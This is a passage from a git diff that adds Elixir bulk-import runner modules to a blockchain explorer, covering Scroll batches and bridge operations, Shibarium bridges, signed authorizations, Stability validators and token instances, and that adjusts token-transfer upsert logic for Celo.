tb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.timestamp, EXCLUDED.l2_transactions_count, EXCLUDED.global_exit_root, EXCLUDED.acc_input_hash, EXCLUDED.state_root, EXCLUDED.sequence_id, EXCLUDED.verify_id) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", + tb.timestamp, + tb.l2_transactions_count, + tb.global_exit_root, + tb.acc_input_hash, + tb.state_root, + tb.sequence_id, + tb.verify_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/scroll/batch_bundles.ex b/apps/explorer/lib/explorer/chain/import/runner/scroll/batch_bundles.ex new file mode 100644 index 000000000000..20633de83635 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/scroll/batch_bundles.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Import.Runner.Scroll.BatchBundles do + @moduledoc """ + Bulk imports `Explorer.Chain.Scroll.BatchBundle`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Scroll.BatchBundle, as: ScrollBatchBundle + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [ScrollBatchBundle.t()] + + @impl Import.Runner + def ecto_schema_module, do: ScrollBatchBundle + + @impl Import.Runner + def option_key, do: :scroll_batch_bundles + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_scroll_batch_bundles, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :scroll_batch_bundles, + :scroll_batch_bundles + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [ScrollBatchBundle.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce ScrollBatchBundle ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.final_batch_number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: :id, + on_conflict: on_conflict, + for: ScrollBatchBundle, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + sbb in ScrollBatchBundle, + update: [ + set: [ + # Don't update `id` as it is a primary key and used for the conflict target + final_batch_number: fragment("EXCLUDED.final_batch_number"), + finalize_transaction_hash: fragment("EXCLUDED.finalize_transaction_hash"), + finalize_block_number: fragment("EXCLUDED.finalize_block_number"), + finalize_timestamp: fragment("EXCLUDED.finalize_timestamp"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", sbb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", sbb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.final_batch_number, EXCLUDED.finalize_transaction_hash, EXCLUDED.finalize_block_number, EXCLUDED.finalize_timestamp) IS DISTINCT FROM (?, ?, ?, ?)", + sbb.final_batch_number, + sbb.finalize_transaction_hash, + sbb.finalize_block_number, + sbb.finalize_timestamp + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/scroll/batches.ex b/apps/explorer/lib/explorer/chain/import/runner/scroll/batches.ex new file mode 100644 index 000000000000..710e22c9429f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/scroll/batches.ex @@ -0,0 +1,110 @@ +defmodule Explorer.Chain.Import.Runner.Scroll.Batches do + @moduledoc """ + Bulk imports `Explorer.Chain.Scroll.Batch`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Scroll.Batch, as: ScrollBatch + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [ScrollBatch.t()] + + @impl Import.Runner + def ecto_schema_module, do: ScrollBatch + + @impl Import.Runner + def option_key, do: :scroll_batches + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_scroll_batches, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :scroll_batches, + :scroll_batches + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [ScrollBatch.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce ScrollBatch ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: :number, + on_conflict: on_conflict, + for: ScrollBatch, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + sb in ScrollBatch, + update: [ + set: [ + # Don't update `number` as it is a primary key and used for the conflict target + number: fragment("EXCLUDED.number"), + commit_transaction_hash: fragment("EXCLUDED.commit_transaction_hash"), + commit_block_number: fragment("EXCLUDED.commit_block_number"), + commit_timestamp: fragment("EXCLUDED.commit_timestamp"), + l2_block_range: fragment("EXCLUDED.l2_block_range"), + container: fragment("EXCLUDED.container"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", sb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", sb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.number, EXCLUDED.commit_transaction_hash, EXCLUDED.commit_block_number, EXCLUDED.commit_timestamp, EXCLUDED.l2_block_range, EXCLUDED.container) IS DISTINCT FROM (?, ?, ?, ?, ?, ?)", + sb.number, + sb.commit_transaction_hash, + sb.commit_block_number, + sb.commit_timestamp, + sb.l2_block_range, + sb.container + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/scroll/bridge_operations.ex b/apps/explorer/lib/explorer/chain/import/runner/scroll/bridge_operations.ex new file mode 100644 index 000000000000..44c8cc4f7fbc --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/scroll/bridge_operations.ex @@ -0,0 +1,111 @@ +defmodule Explorer.Chain.Import.Runner.Scroll.BridgeOperations do + @moduledoc """ + Bulk imports `Explorer.Chain.Scroll.Bridge`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Scroll.Bridge, as: ScrollBridge + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [ScrollBridge.t()] + + @impl Import.Runner + def ecto_schema_module, do: ScrollBridge + + @impl Import.Runner + def option_key, do: :scroll_bridge_operations + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_scroll_bridge_operations, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :scroll_bridge_operations, + :scroll_bridge_operations + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [ScrollBridge.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce ScrollBridge ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.type, &1.message_hash}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:type, :message_hash], + on_conflict: on_conflict, + for: ScrollBridge, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + sb in ScrollBridge, + update: [ + set: [ + # Don't update `type` as it is part of the composite primary key and used for the conflict target + # Don't update `message_hash` as it is part of the composite primary key and used for the conflict target + index: fragment("COALESCE(EXCLUDED.index, ?)", sb.index), + l1_transaction_hash: fragment("COALESCE(EXCLUDED.l1_transaction_hash, ?)", sb.l1_transaction_hash), + l2_transaction_hash: fragment("COALESCE(EXCLUDED.l2_transaction_hash, ?)", sb.l2_transaction_hash), + amount: fragment("COALESCE(EXCLUDED.amount, ?)", sb.amount), + block_number: fragment("COALESCE(EXCLUDED.block_number, ?)", sb.block_number), + block_timestamp: fragment("COALESCE(EXCLUDED.block_timestamp, ?)", sb.block_timestamp), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", sb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", sb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.index, EXCLUDED.l1_transaction_hash, EXCLUDED.l2_transaction_hash, EXCLUDED.amount, EXCLUDED.block_number, EXCLUDED.block_timestamp) IS DISTINCT FROM (?, ?, ?, ?, ?, ?)", + sb.index, + sb.l1_transaction_hash, + sb.l2_transaction_hash, + sb.amount, + sb.block_number, + sb.block_timestamp + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/scroll/l1_fee_params.ex b/apps/explorer/lib/explorer/chain/import/runner/scroll/l1_fee_params.ex new file mode 100644 index 000000000000..525fd0ffee5e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/scroll/l1_fee_params.ex @@ -0,0 +1,102 @@ +defmodule Explorer.Chain.Import.Runner.Scroll.L1FeeParams do + @moduledoc """ + Bulk imports `Explorer.Chain.Scroll.L1FeeParam`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Scroll.L1FeeParam + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [L1FeeParam.t()] + + @impl Import.Runner + def ecto_schema_module, do: L1FeeParam + + @impl Import.Runner + def option_key, do: :scroll_l1_fee_params + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_l1_fee_params, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :scroll_l1_fee_params, + :scroll_l1_fee_params + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [L1FeeParam.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce L1FeeParam ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.block_number, &1.transaction_index, &1.name}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: L1FeeParam, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [:block_number, :transaction_index, :name], + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + param in L1FeeParam, + update: [ + set: [ + # Don't update `block_number` as it is part of the composite primary key and used for the conflict target + # Don't update `transaction_index` as it is part of the composite primary key and used for the conflict target + # Don't update `name` as it is part of the composite primary key and used for the conflict target + value: fragment("EXCLUDED.value"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", param.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", param.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.value) IS DISTINCT FROM (?)", + param.value + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/shibarium/bridge_operations.ex b/apps/explorer/lib/explorer/chain/import/runner/shibarium/bridge_operations.ex new file mode 100644 index 000000000000..b7cd680ae231 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/shibarium/bridge_operations.ex @@ -0,0 +1,119 @@ +defmodule Explorer.Chain.Import.Runner.Shibarium.BridgeOperations do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Shibarium.Bridge.t/0`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Shibarium.Bridge, as: ShibariumBridge + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [ShibariumBridge.t()] + + @impl Import.Runner + def ecto_schema_module, do: ShibariumBridge + + @impl Import.Runner + def option_key, do: :shibarium_bridge_operations + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_shibarium_bridge_operations, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :shibarium_bridge_operations, + :shibarium_bridge_operations + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [ShibariumBridge.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce ShibariumBridge ShareLocks order (see docs: sharelock.md) + ordered_changes_list = + Enum.sort_by(changes_list, &{&1.operation_hash, &1.l1_transaction_hash, &1.l2_transaction_hash}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:operation_hash, :l1_transaction_hash, :l2_transaction_hash], + on_conflict: on_conflict, + for: ShibariumBridge, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + op in ShibariumBridge, + update: [ + set: [ + # Don't update `operation_hash` as it is part of the composite primary key and used for the conflict target + # Don't update `l1_transaction_hash` as it is part of the composite primary key and used for the conflict target + # Don't update `l2_transaction_hash` as it is part of the composite primary key and used for the conflict target + # Don't update `operation_type` as it is not changed + user: fragment("EXCLUDED.user"), + amount_or_id: fragment("EXCLUDED.amount_or_id"), + erc1155_ids: fragment("EXCLUDED.erc1155_ids"), + erc1155_amounts: fragment("EXCLUDED.erc1155_amounts"), + l1_block_number: fragment("EXCLUDED.l1_block_number"), + l2_block_number: fragment("EXCLUDED.l2_block_number"), + token_type: fragment("EXCLUDED.token_type"), + timestamp: fragment("EXCLUDED.timestamp"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", op.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", op.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.user, EXCLUDED.amount_or_id, EXCLUDED.erc1155_ids, EXCLUDED.erc1155_amounts, EXCLUDED.operation_type, EXCLUDED.l1_block_number, EXCLUDED.l2_block_number, EXCLUDED.token_type, EXCLUDED.timestamp) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?)", + op.user, + op.amount_or_id, + op.erc1155_ids, + op.erc1155_amounts, + op.operation_type, + op.l1_block_number, + op.l2_block_number, + op.token_type, + op.timestamp + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/signed_authorizations.ex b/apps/explorer/lib/explorer/chain/import/runner/signed_authorizations.ex new file mode 100644 index 000000000000..5f71e9a697fb --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/signed_authorizations.ex @@ -0,0 +1,113 @@ +defmodule Explorer.Chain.Import.Runner.SignedAuthorizations do + @moduledoc """ + Bulk imports `t:Explorer.Chain.SignedAuthorization.t/0`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.{Import, SignedAuthorization} + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [SignedAuthorization.t()] + + @impl Import.Runner + def ecto_schema_module, do: SignedAuthorization + + @impl Import.Runner + def option_key, do: :signed_authorizations + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :signed_authorizations, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :signed_authorizations, + :signed_authorizations + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{ + optional(:on_conflict) => Import.Runner.on_conflict(), + required(:timeout) => timeout, + required(:timestamps) => Import.timestamps() + }) :: + {:ok, [SignedAuthorization.t()]} + | {:error, [Changeset.t()]} + defp insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + conflict_target = [:transaction_hash, :index] + ordered_changes_list = Enum.sort_by(changes_list, &{&1.transaction_hash, &1.index}) + + {:ok, _} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: SignedAuthorization, + on_conflict: on_conflict, + conflict_target: conflict_target, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + end + + defp default_on_conflict do + from( + authorization in SignedAuthorization, + update: [ + set: [ + chain_id: fragment("EXCLUDED.chain_id"), + address: fragment("EXCLUDED.address"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + v: fragment("EXCLUDED.v"), + authority: fragment("EXCLUDED.authority"), + status: fragment("EXCLUDED.status"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", authorization.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", authorization.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.chain_id, EXCLUDED.address, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.v, EXCLUDED.authority, EXCLUDED.status) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?)", + authorization.chain_id, + authorization.address, + authorization.nonce, + authorization.r, + authorization.s, + authorization.v, + authorization.authority, + authorization.status + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/stability/validators.ex b/apps/explorer/lib/explorer/chain/import/runner/stability/validators.ex new file mode 100644 index 000000000000..ba4d03f33d87 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/stability/validators.ex @@ -0,0 +1,117 @@ +defmodule Explorer.Chain.Import.Runner.Stability.Validators do + @moduledoc """ + Bulk updates `t:Explorer.Chain.Stability.Validator.t/0` blocks_validated counters. + """ + + require Ecto.Query + + alias Ecto.{Multi, Repo} + alias Explorer.Chain.{Import, Stability.Validator} + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2, where: 3] + + require Logger + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [Validator.t()] + + @impl Import.Runner + def ecto_schema_module, do: Validator + + @impl Import.Runner + def option_key, do: :stability_validators + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s with updated counters" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :stability_validators, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> update_counters(repo, changes_list, insert_options) end, + :block_referencing, + :stability_validators, + :stability_validators + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec update_counters(Repo.t(), [map()], %{ + required(:timeout) => timeout, + required(:timestamps) => Import.timestamps() + }) :: + {:ok, [Validator.t()]} + defp update_counters(repo, changes_list, %{timeout: timeout, timestamps: timestamps}) when is_list(changes_list) do + if changes_list != [] do + # Get all address hashes from the changes + address_hashes = Enum.map(changes_list, & &1.address_hash) + + # Get existing validators that match the address hashes + existing_validators = + Validator + |> where([v], v.address_hash in ^address_hashes) + |> repo.all(timeout: timeout) + + # Update counters for each existing validator + updated_validators = + Enum.reduce(changes_list, [], fn change, acc -> + case Enum.find(existing_validators, &(&1.address_hash == change.address_hash)) do + nil -> + # Validator doesn't exist, log error and skip + Logger.error("Validator with address hash #{to_string(change.address_hash)} not found") + acc + + validator -> + # Update the blocks_validated counter + # credo:disable-for-next-line + case repo.update_all( + from(v in Validator, where: v.address_hash == ^change.address_hash), + [ + inc: [blocks_validated: change.blocks_validated], + set: [updated_at: timestamps.updated_at] + ], + timeout: timeout + ) do + {1, _} -> + # Successfully updated, add to result + updated_validator = %Validator{ + address_hash: change.address_hash, + blocks_validated: validator.blocks_validated + change.blocks_validated + } + + [updated_validator | acc] + + _ -> + # Update failed, log error and skip + Logger.error("Failed to update validator counter for address hash #{to_string(change.address_hash)}") + acc + end + end + end) + + {:ok, updated_validators} + else + {:ok, []} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/token_instances.ex b/apps/explorer/lib/explorer/chain/import/runner/token_instances.ex new file mode 100644 index 000000000000..0fb38962a755 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/token_instances.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Import.Runner.TokenInstances do + @moduledoc """ + Bulk imports `t:Explorer.Chain.TokenInstances.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Token.Instance, as: TokenInstance + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [TokenInstance.t()] + + @impl Import.Runner + def ecto_schema_module, do: TokenInstance + + @impl Import.Runner + def option_key, do: :token_instances + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :token_instances, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :token_instances, + :token_instances + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{ + optional(:on_conflict) => Import.Runner.on_conflict(), + required(:timeout) => timeout, + required(:timestamps) => Import.timestamps() + }) :: + {:ok, [TokenInstance.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Guarantee the same import order to avoid deadlocks + ordered_changes_list = Enum.sort_by(changes_list, &{&1.token_contract_address_hash, &1.token_id}) + + {:ok, _} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:token_contract_address_hash, :token_id], + on_conflict: on_conflict, + for: TokenInstance, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + end + + defp default_on_conflict do + from( + token_instance in TokenInstance, + update: [ + set: [ + metadata: token_instance.metadata, + error: token_instance.error, + owner_updated_at_block: fragment("EXCLUDED.owner_updated_at_block"), + owner_updated_at_log_index: fragment("EXCLUDED.owner_updated_at_log_index"), + owner_address_hash: fragment("EXCLUDED.owner_address_hash"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_instance.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_instance.updated_at) + ] + ], + where: + fragment("EXCLUDED.owner_address_hash IS NOT NULL") and fragment("EXCLUDED.owner_updated_at_block IS NOT NULL") and + (fragment("EXCLUDED.owner_updated_at_block > ?", token_instance.owner_updated_at_block) or + (fragment("EXCLUDED.owner_updated_at_block = ?", token_instance.owner_updated_at_block) and + fragment("EXCLUDED.owner_updated_at_log_index >= ?", token_instance.owner_updated_at_log_index)) or + is_nil(token_instance.owner_updated_at_block) or is_nil(token_instance.owner_address_hash)) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/token_transfers.ex b/apps/explorer/lib/explorer/chain/import/runner/token_transfers.ex index 3935fb53b51f..acbbf3159207 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/token_transfers.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/token_transfers.ex @@ -9,6 +9,7 @@ defmodule Explorer.Chain.Import.Runner.TokenTransfers do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.{Import, TokenTransfer} + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -41,7 +42,12 @@ defmodule Explorer.Chain.Import.Runner.TokenTransfers do |> Map.put(:timestamps, timestamps) Multi.run(multi, :token_transfers, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :token_transfers, + :token_transfers + ) end) end @@ -55,46 +61,98 @@ defmodule Explorer.Chain.Import.Runner.TokenTransfers do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) # Enforce TokenTransfer ShareLocks order (see docs: sharelocks.md) - ordered_changes_list = Enum.sort_by(changes_list, &{&1.transaction_hash, &1.block_hash, &1.log_index}) - - {:ok, _} = + ordered_changes_list = + case Application.get_env(:explorer, :chain_type) do + :celo -> Enum.sort_by(changes_list, &{&1.block_hash, &1.log_index}) + _ -> Enum.sort_by(changes_list, &{&1.transaction_hash, &1.block_hash, &1.log_index}) + end + + conflict_target = + case Application.get_env(:explorer, :chain_type) do + :celo -> [:log_index, :block_hash] + _ -> [:transaction_hash, :log_index, :block_hash] + end + + {:ok, inserted} = Import.insert_changes_list( repo, ordered_changes_list, - conflict_target: [:transaction_hash, :log_index, :block_hash], + conflict_target: conflict_target, on_conflict: on_conflict, for: TokenTransfer, returning: true, timeout: timeout, timestamps: timestamps ) + + {:ok, inserted} end defp default_on_conflict do - from( - token_transfer in TokenTransfer, - update: [ - set: [ - # Don't update `transaction_hash` as it is part of the composite primary key and used for the conflict target - # Don't update `log_index` as it is part of the composite primary key and used for the conflict target - amount: fragment("EXCLUDED.amount"), - from_address_hash: fragment("EXCLUDED.from_address_hash"), - to_address_hash: fragment("EXCLUDED.to_address_hash"), - token_contract_address_hash: fragment("EXCLUDED.token_contract_address_hash"), - token_id: fragment("EXCLUDED.token_id"), - inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_transfer.inserted_at), - updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_transfer.updated_at) - ] - ], - where: - fragment( - "(EXCLUDED.amount, EXCLUDED.from_address_hash, EXCLUDED.to_address_hash, EXCLUDED.token_contract_address_hash, EXCLUDED.token_id) IS DISTINCT FROM (?, ? ,? , ?, ?)", - token_transfer.amount, - token_transfer.from_address_hash, - token_transfer.to_address_hash, - token_transfer.token_contract_address_hash, - token_transfer.token_id + case Application.get_env(:explorer, :chain_type) do + :celo -> + from( + token_transfer in TokenTransfer, + update: [ + set: [ + # Don't update `log_index` 